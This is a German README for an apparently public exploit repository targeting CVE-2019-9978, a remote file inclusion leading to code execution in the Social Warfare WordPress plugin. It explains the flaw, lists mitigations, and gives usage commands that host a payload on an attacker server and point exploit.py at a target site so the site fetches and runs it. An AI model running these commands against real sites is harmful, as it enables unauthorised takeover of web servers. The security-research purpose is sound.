
Ein benutzerdefinierter Python-Proof-of-Concept, der eine Root-Cause-Analyse und Ausnutzung von CVE 2019-9978 (Social Warfare Plugin) zeigt, mit Fokus auf den praktischen RFI-zu-RCE-Angriffsablauf.
Dieses Repository enthält einen Python-basierten Proof of Concept (PoC), der die Ausnutzung von CVE-2019-9978 demonstriert, einer kritischen Schwachstelle im Social Warfare WordPress Plugin.
Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, eine Remote File Inclusion (RFI) durchzuführen, die durch das Hosting einer schädlichen Nutzlast auf einem vom Angreifer kontrollierten Server zu Remote Code Execution (RCE)* eskalieren kann.
Dieser PoC wurde in einer kontrollierten WordPress-Lab-Umgebung ausschließlich für Bildungszwecke und autorisierte Sicherheitstests entwickelt und getestet.
Das Social Warfare Plugin validiert und bereinigt benutzereingegebene Eingaben, die für die Einbindung externer Inhalte verwendet werden, nicht ordnungsgemäß.
Infolgedessen kann ein Angreifer eine bösartige externe URL bereitstellen, was zu einer nicht authentifizierten Remote File Inclusion führt.
Wenn die eingebundene entfernte Datei ausführbaren PHP-Code enthält, wird dieser im Kontext des WordPress-Servers ausgeführt, was zu einer Remote Code Execution führt.
Unauthenticated HTTP Request
↓
Remote File Inclusion (External URL)
↓
Malicious Payload Execution
↓
Remote Code Execution (RCE)
python3 -m http.server 8000
Platzieren Sie Ihre Nutzlastdatei (z.B. payload-main.txt) im Serververzeichnis.
python3 exploit.py <target-site.com> http://attacker-ip:8000/payload-main.txt
Aktualisieren Sie das Social Warfare Plugin auf eine gepatchte Version
Deaktivieren Sie Remote File Inclusion:
allow_url_include = Off
Schränken Sie die Handhabung externer URLs in WordPress Plugins ein
Setzen Sie eine Web Application Firewall (WAF) mit RFI-Erkennungsregeln ein
Dieses Projekt ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bestimmt.
Verwenden Sie diesen Proof of Concept NICHT gegen Systeme ohne ausdrückliche Genehmigung. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.